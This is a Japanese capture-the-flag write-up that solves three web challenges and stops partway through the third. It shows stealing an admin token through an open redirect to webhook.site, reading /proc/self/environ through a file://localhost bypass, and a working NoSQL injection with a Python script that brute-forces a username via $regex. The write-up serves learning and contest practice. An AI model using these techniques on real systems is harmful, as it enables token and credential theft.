6/16の14時から24時間という競技時間で開催された。どれぐらい素早く解けるかの腕試しとして参加した。無事に開始から実質3時間*1でWeb問を全完でき、またhtmls, flagAliasの2問についてはfirst bloodを取れてよかった。
- [Web 78] wooorker (186 solves)
- [Web 113] ssrforlfi (76 solves)
- [Web 130] double-leaks (55 solves)
- [Web 98] wooorker2 (106 solves)
- [Web 174] flagAlias (28 solves)
- [Web 290] htmls (9 solves)
[Web 78] wooorker (186 solves)
adminのみflagを取得できる認可サービスを作りました!
(URL)
添付ファイル: wooorker.tar.gz
タグ:
author:yuasa
,beginner
アプリを触ってみる
与えられたURLにアクセスすると、次のようなメッセージが表示された。何をするにせよログインをする必要がありそうだ。
リンクをクリックすると /login?next=/
へ遷移した。次のようにログインフォームが表示される。プレースホルダーの通り guest
/ guest
を入力し、送信すると、ログインできた。
ログイン後は
/?token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imd1ZXN0IiwiaXNBZG1pbiI6ZmFsc2UsImlhdCI6MTcxODQ4NjMzOCwiZXhwIjoxNzE4NDg5OTM4fQ.UI9aw4AKxZ1YmtPTTWxm8E2q8MSxyTjePpvf1LGRZ3U
に遷移した。クエリパラメータの token
に入っている文字列が、ログイン前に表示されていた "token" だろう。しかしながら、このトークンでは権限が足りないのかなんなのか、"Access denied" と怒られてしまった。
フロントエンドのソースコードを確認する
ソースコードを確認していこう。バックエンド側も含めてこのサービスのソースコードはすべて与えられているが、まずフロントエンド側の処理から確認していく。トップページから読み込まれているJSファイルは /flag.js
のみだが、この内容は次のとおりだ。
ログイン後にはクエリパラメータにトークンが含まれていたが、もしトークンが含まれていれば、Authorization
ヘッダの値として付与したうえで /flag
というAPIを叩いているようだ。
document.addEventListener('DOMContentLoaded', async() => { const token = new URLSearchParams(window.location.search).get('token'); if (!token) { document.getElementById('flagContainer').innerHTML = "<p>No token provided. You need to <a href='/login?next=/'>login</a> .</p>"; return; } try { const response = await fetch('/flag', { headers: { 'Authorization': `Bearer ${token}` } }); const result = await response.json(); if (response.ok) { document.getElementById('flagContainer').innerText = result.flag; } else { document.getElementById('flagContainer').innerText = result.error; } } catch (error) { document.getElementById('flagContainer').innerText = 'Error fetching flag.'; } });
ログインフォームは次のようなHTMLになっている。main.js
というJSファイルが読み込まれていること、また Login
と書かれているボタンをクリックすると login
という関数が呼び出されることがわかる。login
は main.js
で定義されているのだろう。
<div> <label for="username">Username</label> <input type="text" id="username" placeholder="guest"> </div> <div> <label for="password">Password</label> <input type="password" id="password" placeholder="guest"> </div> <button type="submit" onclick="login()">Login</button> <div id="errorContainer"></div> <div id="flagContainer"></div> <script src="main.js"></script>
/main.js
の内容は次のとおりだ。まず const loginWorker = new Worker('login.js');
というような処理があるけれども、これはWeb Workerとよばれる機能を使って、バックグラウンドで login.js
に含まれているJSコードを実行するということを意味する。
Login
ボタンを押した際に呼び出される login
関数だが、これはフォームに入力されたユーザ名とパスワードを取り出し、loginWorker.postMessage({ username, password })
と postMessage
によってバックグランドで実行されている login.js
のスレッドに送っている。
loginWorker.onmessage
に関数を代入しているが、これは login.js
側のスレッドから postMessage
によってメッセージが送られてきた際に呼び出されるようになっている。const { token, error } = event.data
と与えられた引数から受信したメッセージを取り出しているが、どうやらトークンかエラー情報が含まれているらしい。エラー情報はログインに失敗した際にのみ含まれているようだ。
エラー情報が含まれていない、つまりログインに成功した際には別ページへ遷移する。この遷移先はデフォルトではトップページへ、もし next
というクエリパラメータが設定されていればそのURLへ遷移するらしい。なお、この際 ?token=(トークン)
のように、遷移先のURLにはクエリパラメータとして発行されたトークンが渡される。
const loginWorker = new Worker('login.js'); function login() { const username = document.getElementById('username').value; const password = document.getElementById('password').value; document.getElementById('username').value = ''; document.getElementById('password').value = ''; loginWorker.postMessage({ username, password }); } loginWorker.onmessage = function(event) { const { token, error } = event.data; if (error) { document.getElementById('errorContainer').innerText = error; return; } if (token) { const params = new URLSearchParams(window.location.search); const next = params.get('next'); if (next) { window.location.href = next.includes('token=') ? next: `${next}?token=${token}`; } else { window.location.href = `/?token=${token}`; } } };
バックグラウンドで動いている login.js
を見ていく。onmessage
に関数を代入して main.js
からメッセージが送られてくるのを待ち受けている。送られてきたユーザ名とパスワードについて、{"username":"(ユーザ名)","password":"(パスワード)"}
というJSONに変換したうえで、これをリクエストボディとして /login
というAPIに対してPOSTで投げている。
/login
のレスポンスももちろんJSONで返ってくるわけだが、その ok
というプロパティにログインの成否が Boolean
で含まれているらしい。成功していれば token
プロパティに発行されたトークンを、失敗していれば error
プロパティにエラー情報を含ませたオブジェクトを、postMessage
で main.js
にメッセージとして送る。このメッセージを受け取るのが、先ほど確認した loginWorker.onmessage
に代入されている関数だ。
let username, password; onmessage = async function(event) { if(!username) username = event.data.username; if(!password) password = event.data.password; try { const response = await fetch('/login', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ username, password }) }); const result = await response.json(); if (response.ok) { postMessage({ token: result.token }); } else { postMessage({ token: '', error: result.error }); } } catch (error) { postMessage({ token: '', error: 'Error logging in.' }); } };
バックエンドのソースコードを確認する
バックエンド側のソースコードを確認していく。色々ディレクトリやファイルが存在しているけれども、compose.yaml
というDocker Compose向けの設定ファイルも含まれている。docker compose up -d --build
のようなOSコマンドによってローカルでも検証できるように配布しているのだろうけれども、どのようなサービスが存在しているかをざっと見るために、このファイルを確認する。内容は次の通りで、まず wooorker
, nginx
, redis
, crawler
という4つのコンテナが存在していることがわかる。
ports
から外部に公開されているサービスを確認すると、nginx
では 34466/tcp
が、redis
では 16379/tcp
が公開されていることがわかる。後者はわざわざ公開する意味がわからない(また、問題サーバで確認したがポートは開いていない)が、nginx
というサービスが我々外部からアクセスする者にとっては入口になることがわかる。
services: wooorker: build: ./app environment: - PORT=34466 - FLAG=ctf4b{dummy_flag} - REDIS_HOST=redis - REDIS_PORT=6379 - ADMIN_PASSWORD=admin nginx: build: ./nginx ports: - 34466:80 depends_on: - wooorker restart: always redis: image: redis:7-alpine volumes: - redis:/data ports: - 16379:6379 restart: always crawler: build: ./crawler restart: always environment: - APP_URL=http://wooorker:34466/ - ADMIN_USERNAME=admin - ADMIN_PASSWORD=admin - REDIS_HOST=redis - REDIS_PORT=6379
nginx
について見ていく。Dockerイメージを作成するための Dockerfile
はシンプルで、普通の nginx:latest
イメージを使って、カスタムされた nginx.conf
を送り込んでいるだけだ。
FROM nginx:latest COPY nginx.conf /etc/nginx/nginx.conf CMD ["nginx", "-g", "daemon off;", "-c", "/etc/nginx/nginx.conf"]
nginx.conf
は次の通り。こちらも注目すべき点は proxy_pass http://wooorker:34466
ぐらいで、このWebサーバへのアクセス時に、リクエストはそのまま後ろに控えている wooorker
コンテナへ流されることがわかる。
user nginx; worker_processes 1; error_log /var/log/nginx/error.log warn; pid /var/run/nginx.pid; events { worker_connections 1024; } http { include /etc/nginx/mime.types; default_type application/octet-stream; log_format main '$remote_addr - $remote_user [$time_local] "$request" ' '$status $body_bytes_sent "$http_referer" ' '"$http_user_agent" "$http_x_forwarded_for"'; access_log /var/log/nginx/access.log main; sendfile on; keepalive_timeout 65; server { listen 80; location / { proxy_pass http://wooorker:34466; } } }
では、nginx
の裏にいる wooorker
はどのような処理をしているか見ていこう。Dockerfile
は次の通りで、ここからNode.js 21で動いていることがわかる。コンテナ実行時には npm start
というコマンドからスタートするらしい。
FROM node:21-alpine WORKDIR /app COPY package.json ./ RUN npm i COPY . . RUN adduser -D wooorker USER wooorker CMD ["npm", "start"]
npm start
は、package.json
の scripts
中に含まれる start
プロパティで設定されているOSコマンドを実行する。package.json
は次のような内容で、npm start
で node server.js
が実行されることがわかる。なるほど、エントリーポイントは server.js
にあるようだ。
ほかにも、dependencies
からExpressというWebフレームワークが使われているであろうこと、jsonwebtoken
からはJSON Web Token(JWT)が使われているであろうこと、そして ioredis
からは、このコンテナとは別に存在しているRedisコンテナのデータの操作を行っているであろうことが推測できる。いずれにしても、JSのコードを読まないとわからない。
{ "name": "wooorker", "version": "1.0.0", "description": "", "main": "index.js", "scripts": { "start": "node server.js" }, "dependencies": { "express": "^4.19.2", "jsonwebtoken": "^9.0.2", "ioredis": "^5.4.1" } }
では、満を持して server.js
を読んでいく。100行弱とやや長めなので、重要な点を切り取りつつ見ていく。まず先頭の20行弱は次の通り。users
というオブジェクトにユーザ情報を格納しているらしく、そのプロパティ名としてユーザ名、それに対応する値としてパスワードや admin
かどうかという情報を含んでいるらしい。guest
と admin
というユーザが存在しているが、後者は process.env.ADMIN_PASSWORD
と、環境変数の ADMIN_PASSWORD
で設定されているパスワードでログインできるようだ。
compose.yaml
中の ADMIN_PASSWORD=admin
という記述からこの環境変数は admin
と設定されていることがわかるが、本番の問題サーバでは通らない。別のパスワードに変更されているらしい。
const express = require('express'); const jwt = require('jsonwebtoken'); const path = require('path'); const crypto = require('crypto'); const app = express(); app.use(express.json()); app.use(express.static('public')); const jwtSecret = crypto.randomBytes(64).toString('hex'); const FLAG = process.env.FLAG; const ADMIN_PASSWORD = process.env.ADMIN_PASSWORD; const users = { admin: { password: ADMIN_PASSWORD, isAdmin: true }, guest: { password: 'guest', isAdmin: false } };
ログインフォームから叩かれていた POST /login
に対応するコードを確認する。以下の通り、非常に素朴な実装だ。まず、リクエストボディから与えられたユーザ名をプロパティ名として、ユーザ情報が含まれている users
から対応するオブジェクトを引っ張ってくる。もし存在していなければ(つまり、guest
と admin
以外であれば) undefined
が返ってくるから、その次の if
文では else
ブロックの処理が実行される。
もしユーザが存在していれば、さらにそのユーザ情報のパスワードと、与えられたパスワードが一致しているか確認する。一致していれば、{ username, isAdmin: user.isAdmin }
というオブジェクトを jwt.sign
で署名し、JWTを生成する。ここで、署名に使われている鍵は jwtSecret
という変数に格納されている文字列だ。定義を確認すると crypto.randomBytes(64).toString('hex')
とされているが、crypto.randomBytes
は "cryptographically strong pseudorandom data" を返すため、予測できないことがわかる。
app.post('/login', (req, res) => { const { username, password } = req.body; const user = users[username]; if (user && user.password === password) { const token = jwt.sign({ username, isAdmin: user.isAdmin }, jwtSecret, { expiresIn: '1h' }); res.status(200).json({ token }); } else { res.status(401).json({ error: 'Unauthorized' }); } });
このトークンは GET /flag
へ Authorization
ヘッダに付与される形で使われるのだった。GET /flag
に対応するコードを見ていく。こちらも単純な作りになっている。jwt.verify
で与えられたJWTが妥当か検証し、もし妥当なJWTが与えられており、かつ isAdmin
クレームがtruthyであればフラグを返すというAPIのようだ。
ここで jwt.verify
をごまかして偽物のJWTを妥当であると判断させることができないかと考える。jwt.verify
は第3引数から検証アルゴリズムを制限できるようになっており、これによってユーザから与えられたJWTの alg
が改ざんされていても、それを弾くことができる。
今回はそれが指定されていないので検証アルゴリズム(alg
)が変更できるが、none
に変えて検証なしでも通るようにするのは9.0.2と新しいバージョンであるためできないし、鍵が非対称なアルゴリズムに変更しようにも、ここで検証用の鍵として参照されている jwtSecret
はそれに対応していない。このアプローチは一旦諦めよう。
app.get('/flag', (req, res) => { const token = req.headers.authorization?.split(' ')[1]; if (!token) { return res.status(401).json({ error: 'No token provided' }); } try { const decoded = jwt.verify(token, jwtSecret); if (decoded.isAdmin) { const flag = FLAG; res.status(200).json({ flag }); } else { res.status(403).json({ error: 'Access denied' }); } } catch (error) { res.status(401).json({ error: 'Invalid token' }); } });
最後に、このアプリには「レポート機能」も存在している。/report
からアクセスできるのがそれだ。たとえば login?next=/
というようなパスをフォームに入力することで、admin
の認証情報を知っているユーザが、指定したパスからログインしてくれるというものらしい。
対応するコードは次の通りだが、rpush
で query
というキーにRedisにユーザから与えられたパスを突っ込んでいるだけに見える。
// レポート機能 // Redis const Redis = require("ioredis"); let redisClient = new Redis({ host: process.env.REDIS_HOST, port: process.env.REDIS_PORT, }); redisClient.set("queued_count", 0); redisClient.set("proceeded_count", 0); app.get("/report", async (req, res) => { res.sendFile(path.join(__dirname, 'public', 'report.html')); }); app.post("/report", async (req, res, next) => { // Parameter check const { path } = req.body; if (!path || path === "") { res.status(400).json({ error: 'Invalid request' }); } try { // Enqueued jobs are processed by crawl.js redisClient .rpush("query", path) .then(() => { redisClient.incr("queued_count"); }) .then(() => { console.log("Report enqueued :", path); res.status(200).json({ message: 'OK. Admin will check the URL you sent.' }); }); } catch (e) { console.log("Report error :", e); res.status(500).json({ error: 'Internal Server Error' }); } });
では、レポート機能の本質部分はどこで実装されているのか。そういえば、crawler
というまだ見ていないコンテナがあった。対応する Dockerfile
は次の通り。重要なのは最後の2行のみで、面倒を避けるために dumb-init
を使っていること、また index.js
がエントリーポイントであることがわかる。
FROM ubuntu:20.04 ENV DEBIAN_FRONTEND=noninteractive RUN apt-get update \ && apt-get install -y curl gnupg2 RUN curl -fsSL https://deb.nodesource.com/setup_20.x | bash - RUN apt-get install -y nodejs RUN apt-get install -y libglib2.0-0 libnss3 libnspr4 libdbus-1-3 libatk1.0-0 libatk-bridge2.0-0 libcups2 libatspi2.0-0 libx11-6 libxcomposite1 libxdamage1 libxext6 libxfixes3 libxrandr2 libgbm1 libdrm2 libxcb1 libxkbcommon0 libpango-1.0-0 libcairo2 libasound2 COPY ./dumb-init_1.2.5_x86_64 /usr/local/bin/dumb-init RUN chmod +x /usr/local/bin/dumb-init WORKDIR /app RUN addgroup appgroup \ && useradd appuser -G appgroup \ && mkdir -p /home/appuser/Downloads \ && chown -R appuser:appgroup /home/appuser \ && chown -R appuser:appgroup /app USER appuser COPY package.json ./ RUN npm i \ && npx playwright install chromium COPY . . ENTRYPOINT ["dumb-init", "--"] CMD ["node", "index.js"]
index.js
を見ていく。これも少しずつ確認していく。まず先頭の11行だが、そこまで重要な情報はない。Redisを使うこと、またPlaywrightというライブラリを使うことによって、JavaScript側からChromiumを操作しようとしていることがわかる。
const { chromium } = require('playwright'); const { v4: uuidv4 } = require("uuid"); const Redis = require("ioredis"); const connection = new Redis({ host: process.env.REDIS_HOST, port: process.env.REDIS_PORT, }); const ADMIN_USERNAME = process.env.ADMIN_USERNAME; const ADMIN_PASSWORD = process.env.ADMIN_PASSWORD; const APP_URL = process.env.APP_URL;
以下の部分は、先ほど参照されていたRedisの query
というキーから blpop
でユーザが通報したパスを取ってきている処理となる。そのパスについて、crawl
という関数に投げている。
(async () => { while (true) { console.log( "[*] waiting new query", await connection.get("queued_count"), await connection.get("proceeded_count") ); const ID = uuidv4(); await connection .blpop("query", 0) .then((v) => { const path = v[1]; console.log("crawl", ID, path); return crawl(path, ID); }) .then(() => { console.log("crawl", ID, "finished"); return connection.incr("proceeded_count"); }) .catch((e) => { console.log("crawl", ID, e); }); } })();
crawl
の定義は次の通り。APP_URL
には https://wooorker.quals.beginners.seccon.jp/
のように問題サーバのURLが含まれているわけだが、これにユーザが通報したパスを結合して、それにアクセスしている。このパスはログインフォームを想定しているようで、フォームに admin
のユーザ名とパスワードを入力し、そしてログインボタンを押すという動作をしている。
このレポート機能を悪用して、admin
のユーザ名とパスワード、もしくはログイン後に発行されるトークンを盗み出せないだろうか。そうすれば、admin
のトークンを使って /flag
にアクセスすることでフラグが得られるはずだ。
const crawl = async (path, ID) => { const browser = await chromium.launch(); const page = await browser.newPage(); try { // (If you set `login?next=/` as path in Report page, admin accesses `https://wooorker.quals.beginners.seccon.jp/login?next=/` here.) const targetURL = APP_URL + path; console.log("target url:", targetURL); await page.goto(targetURL, { waitUntil: "domcontentloaded", timeout: 3000, }); await page.waitForSelector("input[id=username]"); await page.type("input[id=username]", ADMIN_USERNAME); await page.type("input[id=password]", ADMIN_PASSWORD); await page.click("button[type=submit]"); await page.waitForTimeout(1000); await page.close(); } catch (err) { console.error("crawl", ID, err.message); } finally { await browser.close(); console.log("crawl", ID, "browser closed"); } };
解く
この問題のゴールは、有効かつ isAdmin
クレームがtruthyであるJWTを GET /flag
に投げることだった。そのためには、JWTを偽造するか、admin
のトークンを手に入れる必要がある。前者は GET /flag
の実装を見た際に、今回は難しいと判断したのだった。後者について考える。
admin
のトークンを手に入れるにはどうすればよいか。認証をバイパスして admin
としてログインするか、すでに admin
としてログインしているユーザからトークンを窃取するという方法がある。前者は POST /login
の実装があまりに素朴であり、また users
へ新たなユーザを追加する方法等もないため、一旦可能性としては排除したい。では、後者だ。
レポート機能では、ユーザが指定したパスから、admin
としてログインしてくれるのだった。このパスは APP_URL
へ結合されアクセスされるという都合から、https://example.com
のように外部のURLをログインフォームとして誤認させ admin
の認証情報を入力させることはできない。この問題サーバ以下に存在する機能を悪用する必要がある。
ログインフォームの実装を思い出す。/login
では、ユーザのログインが成功すると、クエリパラメータの next
で指定したURLに token
というパラメータでトークンを付与して遷移するのだった。ここで next
に外部のURLが含まれていれば、ログイン後にそこへトークンが渡ってしまうはずだ。
Webhook.siteという、発行されたURLへのアクセスログを確認できるWebアプリを利用する。/login?next=https://webhook.site/(省略)
というように next
に発行されたURLを指定し、試しに自分で guest
としてログインしてみる。Webhook.site側のログを確認してみると、次のようにクエリパラメータに guest
向けに発行されたトークンが渡ってきていた。攻撃に成功したらしい。
レポート機能にこのパスを投げてみよう。/login?next=https://webhook.site/(省略)
を通報する。今度は admin
向けに発行されたトークンが渡ってきている。
/?token=(窃取したトークン)
にアクセスすると、フラグが得られた。
ctf4b{0p3n_r3d1r3c7_m4k35_70k3n_l34k3d}
[Web 113] ssrforlfi (76 solves)
SSRF? LFI? ひょっとしてRCE?
(URL)
添付ファイル: ssrforlfi.tar.gz
タグ:
author:Satoki
,easy
問題の概要
今回はソースコードから確認していく。docker-compose.yml
は次の通りで、uwsgi
と nginx
という2つのコンテナがあることがわかる。env_file
で .env
というファイルが指定されているが、これはこのファイルから環境変数を読み込むことを意味する。
services: uwsgi: build: ./app env_file: - .env expose: - "7777" restart: always nginx: build: ./nginx links: - uwsgi ports: - "4989:80" environment: TZ: "Asia/Tokyo" restart: always
.env
は次の通り。FLAG
という環境変数にフラグが含まれているようだ。
FLAG=ctf4b{*****REDACTED*****} TZ=Asia/Tokyo
各サービスを見ていく。もっとも、nginx
はwooorkerとほぼ同じ構成であるので、nginx.conf
を参照するのはスキップして、このコンテナの後ろに控えている uwsgi
を見ていく。Dockerfile
は次の通り。重要なのは最終行で、どうやらuWSGIを使っているらしいこと、/var/www/uwsgi.ini
にその設定ファイルが存在しているらしいことがわかる。
FROM ubuntu:22.04 ENV DEBIAN_FRONTEND noninteractive RUN apt-get -y update --fix-missing && apt-get -y upgrade RUN apt-get -y install python3 python3-pip curl RUN mkdir /var/www WORKDIR /var/www COPY ./ ./ RUN pip3 install -r requirements.txt ENV LANG C.UTF-8 RUN chmod 755 -R /var/www RUN adduser -u 1000 ssrforlfi USER ssrforlfi CMD ["uwsgi", "--ini", "/var/www/uwsgi.ini"]
uwsgi.ini
は次の通り。wsgi-file = app.py
から app.py
がエントリーポイントであることがわかる。
[uwsgi] wsgi-file = app.py callable = app master = true processes = 4 threads = 4 socket = :7777 chmod-socket = 666 vacuum = true die-on-term = true py-autoreload = 1
app.py
は次の通り。/?url=http://example.com/
のようにクエリパラメータからURLを指定することで、その内容を返してくれるWebアプリらしい。最終的に curl
コマンドで指定したURLにアクセスするようだが、そこまでで数点、ユーザの入力したURLに対してチェックがなされている。
まず re.match('^[a-z"()./:;<>@|]*$', url)
というチェックだけれども、ここで正規表現によって a-z
, "
, (
, )
, .
, /
, :
, ;
, <
, >
, @
, |
以外の文字がURLに含まれていないかを確認している。subprocess.run
によるOSコマンドの実行時に '
でURLを囲んでいるので、ここでURLに '
を含ませてOSコマンドインジェクションを起こされることを防いだり、curlでは []
や {}
のような文字を使ってURL globbingということができたりするためにこれを潰したりしているのだろう。
URLのスキームについても確認されている。http://
, https://
, file://
のいずれかで始まっている必要があるらしい。http://
または https://
であれば、localhost
へのアクセスでないかを確認している。Server-Side Request Forgery(SSRF)対策と思われるが、これは 127.0.0.1
でバイパスできそうだ。しかしながら、バイパスしたところでローカルからしかアクセスできない秘密のAPIがあるわけでなし、特に意味がない。
file://
から始まる場合はまた別のチェックが入る。これは file:///etc/passwd
のようにしてローカルファイルを読み込むことができるスキームだが、URLの8文字目以降が読み込まれるファイルのパスである。実在しているファイルであるか、..
が含まれていれば弾かれる(Path Traversal対策がしたいのだろう)。file://
を許可しているのかと思ったら、ローカルファイルを読ませない仕組みになっていた*2。
import os import re import subprocess from flask import Flask, request app = Flask(__name__) @app.route("/") def ssrforlfi(): url = request.args.get("url") if not url: return "Welcome to Website Viewer.<br><code>?url=http://example.com/</code>" # Allow only a-z, ", (, ), ., /, :, ;, <, >, @, | if not re.match('^[a-z"()./:;<>@|]*$', url): return "Invalid URL ;(" # SSRF & LFI protection if url.startswith("http://") or url.startswith("https://"): if "localhost" in url: return "Detected SSRF ;(" elif url.startswith("file://"): path = url[7:] if os.path.exists(path) or ".." in path: return "Detected LFI ;(" else: # Block other schemes return "Invalid Scheme ;(" try: # RCE ? proc = subprocess.run( f"curl '{url}'", capture_output=True, shell=True, text=True, timeout=1, ) except subprocess.TimeoutExpired: return "Timeout ;(" if proc.returncode != 0: return "Error ;(" return proc.stdout if __name__ == "__main__": app.run(debug=True, host="0.0.0.0", port=4989)
解く
さて、フラグは環境変数に含まれているという話だった。なんとかして、ファイルとして環境変数が得られるような仕組みはないか。
Dockerfile
からこのコンテナはUbuntu 22.04で動いているとわかるけれども、この環境ではprocfsが使える。procfsを使えば、たとえば /proc/self/environ
から環境変数を得ることができる。なんとかしてURLのチェックをバイパスし、読むことはできないか。
つまりローカルファイルが読みたいわけだから、file://
を使う必要がある。スキームのチェックがcase-sensitiveであることは明らかだから、File://
のように大文字・小文字を混ぜることを考えたが、http://
, https://
, file://
以外であるとみなされて、弾かれてしまう。
結局、file://
から始まる場合のチェックをバイパスする必要があるらしい。このとき、パスのチェック対象が8文字目以降であることに注目する。file://
スキームに関するcurlのドキュメントを参照すると、次のような記述が見つかる。実は file://
スキームではホスト名を指定することができ、localhost
, 127.0.0.1
, 空文字列(つまり、file:///etc/passwd
のような場合)が使えるらしい。
curl only allows the hostname part of a FILE URL to be one out of these three alternatives:
localhost
,127.0.0.1
or blank ("", zero characters). Anything else makes curl fail to parse the URL.
なるほど、これだ。file://localhost/etc/passwd
のようなURLを与えると、チェック時には(融通を利かせずURLの8文字目以降を切り取って) localhost/etc/passwd
が os.path.exists
に渡されるわけだから、当然ながら存在しないファイルとして解釈されるし、一方で curl
側ではホスト名は無視して /etc/passwd
の内容を取りに行く。
/?url=file://localhost/etc/passwd
にアクセスすると、確かに /etc/passwd
の内容を読み出せた。
/?url=file://localhost/proc/self/environ
にアクセスすると、フラグが得られた。
ctf4b{1_7h1nk_bl0ck3d_b07h_55rf_4nd_lf1}
[Web 130] double-leaks (55 solves)
Can you leak both username and password? :eyes:
(URL)
添付ファイル: double-leaks.tar.gz
タグ:
author:task4233
,medium
問題の概要
与えられたURLにアクセスすると、次のようにログインフォームが表示された。
適当な認証情報を入力すると "Invalid Credential" と怒られる。このとき、Chromeの開発者ツール(DevTools)のNetworkタブを見ると、パスワードはSHA-256でハッシュ化したものが送られていることがわかる。
ソースコードを見ていく。docker-compose.yml
は次の通り。nginx
, backend
, mongodb
の3つのコンテナが存在しているらしい。backend
に ADMIN_USERNAME
, ADMIN_PASSWORD
, FLAG
の3つの環境変数が渡されていることが気になる。
services: nginx: build: ./nginx volumes: - ./nginx/nginx.conf:/etc/nginx/nginx.conf depends_on: - backend ports: - "41413:80" environment: TZ: "Asia/Tokyo" restart: always backend: build: ./app environment: - ADMIN_USERNAME=${ADMIN_USERNAME} - ADMIN_PASSWORD=${ADMIN_PASSWORD} - FLAG=${FLAG} depends_on: - mongodb mongodb: image: mongo volumes: - ./data/db:/data/db
nginx
はこれまでの2問と似た構成なのでスキップし、backend
を見ていく。これも ssrforlfi
のようにuWSGIを使っているので、いきなりPythonのコードから見ていくが、100行少しと長いので少しずつ確認する。
最初の16行は次の通り。FlaskというWebフレームワークを使っているのだなあとか、PyMongoによって、backend
とは別に立っているMongoDBコンテナを操作しようとしているのだなあとか思う。
from flask import Flask, request, jsonify, render_template, abort from flask_limiter import Limiter from flask_limiter.util import get_remote_address from pymongo import MongoClient import hashlib import os import sys import string import traceback app = Flask(__name__) limiter = Limiter( get_remote_address, app=app, default_limits=["10 per second"], )
そこから続く数十行は次の通り。MongoDBの初期化をしているらしい。コードが密でちょっと読みづらいけれども、double-leaks
というデータベースの users
というコレクションにつき、ADMIN_USERNAME
と ADMIN_PASSWORD
の環境変数から得た認証情報から、admin
のユーザ情報を含むドキュメントを追加しているとわかる。ついでに、FLAG
という環境変数の値を flag
という変数に入れている。
なお、ADMIN_USERNAME
, ADMIN_PASSWORD
, FLAG
はいずれも assert
を使いつつ、string.printable
のみから成り立っているかを確認している。
def get_mongo_client(): client = MongoClient(host="mongodb", port=27017) out = client.db_name.command("ping") assert "ok" in out, "MongoDB is not ready" return client # insert init data try: client = get_mongo_client() db = client.get_database("double-leaks") users_collection = db.get_collection("users") admin_username = os.getenv("ADMIN_USERNAME", "") assert len(admin_username) > 0 and any( [ch in string.printable for ch in admin_username] ), "ADMIN_USERNAME is not set" admin_password = os.getenv("ADMIN_PASSWORD", "") assert len(admin_password) > 0 and any( [ch in string.printable for ch in admin_password] ), "ADMIN_PASSWORD is not set" flag = os.getenv("FLAG", "flag{dummy_flag}") assert len(flag) > 0 and any( [ch in string.printable for ch in flag] ), "FLAG is not set" if users_collection.count_documents({}) == 0: hashed_password = hashlib.sha256(admin_password.encode("utf-8")).hexdigest() users_collection.insert_one( {"username": admin_username, "password_hash": hashed_password} ) except Exception: traceback.print_exc(file=sys.stderr) finally: client.close()
ログイン時の処理は次の通り。ユーザから与えられたユーザ名とパスワードのハッシュ値について、それらが一致するユーザが存在しているかMongoDBに問い合わせている。もしログインできれば、フラグをくれるらしい。
ここで、waf
という関数によって waf(password_hash)
のようにパスワードのハッシュ値についてそのフォーマットをチェックしていること、またわざわざ user["username"] != username or user["password_hash"] != password_hash
によって、MongoDBから取り出したパスワードのハッシュ値とユーザが入力したものとが一致しているかを見ており、つまりパスワードを二重にチェックしていることが気になる。
@app.route("/login", methods=["POST"]) def login(): username = request.json["username"] password_hash = request.json["password_hash"] if waf(password_hash): return jsonify({"message": "DO NOT USE STRANGE WORDS :rage:"}), 400 try: client = get_mongo_client() db = client.get_database("double-leaks") users_collection = db.get_collection("users") user = users_collection.find_one( {"username": username, "password_hash": password_hash} ) if user is None: return jsonify({"message": "Invalid Credential"}), 401 # Confirm if credentials are valid just in case :smirk: if user["username"] != username or user["password_hash"] != password_hash: return jsonify({"message": "DO NOT CHEATING"}), 401 return jsonify( {"message": f"Login successful! Congrats! Here is the flag: {flag}"} ) except Exception: traceback.print_exc(file=sys.stderr) return jsonify({"message": "Internal Server Error"}), 500 finally: client.close()
waf
の実装は次の通り。/
, =
, where
のように変な文字列が含まれていれば弾く関数になっているようだ。
def waf(input_str): # DO NOT SEND STRANGE INPUTS! :rage: blacklist = [ "/", ".", "*", "=", "+", "-", "?", ";", "&", "\\", "=", " ^", "(", ")", "[", "]", "in", "where", "regex", ] return any([word in str(input_str) for word in blacklist])
解く
さて、これでこの問題のゴールはユーザとしてログインすることであるとわかった。MongoDBには admin
のユーザ情報しか含まれていないわけだから、そのユーザ名とパスワードを手に入れる必要があるらしい。
このアプリに存在する脆弱性を探す。ユーザから与えられた入力がどこに渡っているかに着目すると、ユーザ名とパスワードのハッシュ値がそれぞれ文字列であるかが検証されずに find_one
へ渡っていることがわかる。MongoDBでは {"username":{"$ne":"hoge"},"password":{"$ne":"fuga"}}
のようなクエリを発行できる。これはユーザ名が hoge
でなく、かつパスワードのハッシュ値が fuga
でないという意味になる。ユーザ入力としてこのようなJSONを与えることで、クエリ中にこれらの演算子を含ませることができる(NoSQL Injection)はずだ。
@app.route("/login", methods=["POST"]) def login(): username = request.json["username"] password_hash = request.json["password_hash"] # … user = users_collection.find_one( {"username": username, "password_hash": password_hash} )
試してみると、次のように "DO NOT CHEATING" と怒られた。このメッセージが出力されるのは、条件にマッチするユーザがおり、かつ user["username"] != username or user["password_hash"] != password_hash
に引っかかってしまった場合のみだ。つまり、「ユーザ名もパスワードのハッシュ値も test
でないユーザがいる」というクエリが発行されていることがわかる。NoSQL Injectionには成功しているらしい。
$ curl 'https://double-leaks.beginners.seccon.games/login' \ -H 'Content-Type: application/json' \ --data-raw '{"username":{"$ne":"test"},"password_hash":{"$ne":"test"}}' {"message":"DO NOT CHEATING"}
では、具体的にどのようにしてユーザ名やパスワードのハッシュ値を手に入れるか。MongoDBには $regex
という便利な演算子があり、これで指定した正規表現にマッチしているかどうかをチェックさせることができる。ユーザ名に {"$regex":"^a.*"}
のようなクエリを仕込んでおき、もしマッチする(a
から始まるユーザがいる)ユーザがいれば "DO NOT CHEATING" と返ってくるし、もしマッチしなければ "Invalid Credential" と返ってくるだろう。
そういうわけで、まずは $regex
によってユーザ名を抽出してみる。ユーザ名は string.printable
から構成されると assert
からわかっているので、これを使って1文字ずつブルートフォースで特定していく。
import string import time import httpx with httpx.Client(base_url='https://double-leaks.beginners.seccon.games') as client: # leak length of username l = 0 while True: r = client.post('/login', json={ 'username': { '$regex': '^.{' + str(l) + '}$' }, 'password_hash': { '$ne': 'poyo' } }) if 'DO NOT CHEATING' in r.text: break l += 1 print(f'{l=}') # leak username username = '' for i in range(l): for c in string.printable: r = client.post('/login', json={ 'username': { '$regex': '^' + username + c }, 'password_hash': { '$ne': 'poyo' } }) if 'DO NOT CHEATING' in r.text: username += c print(username) break print(f'{username=}')
実行すると、ADMIN_USERNAME
が ky0muky0mupur1n
であるとわかった。
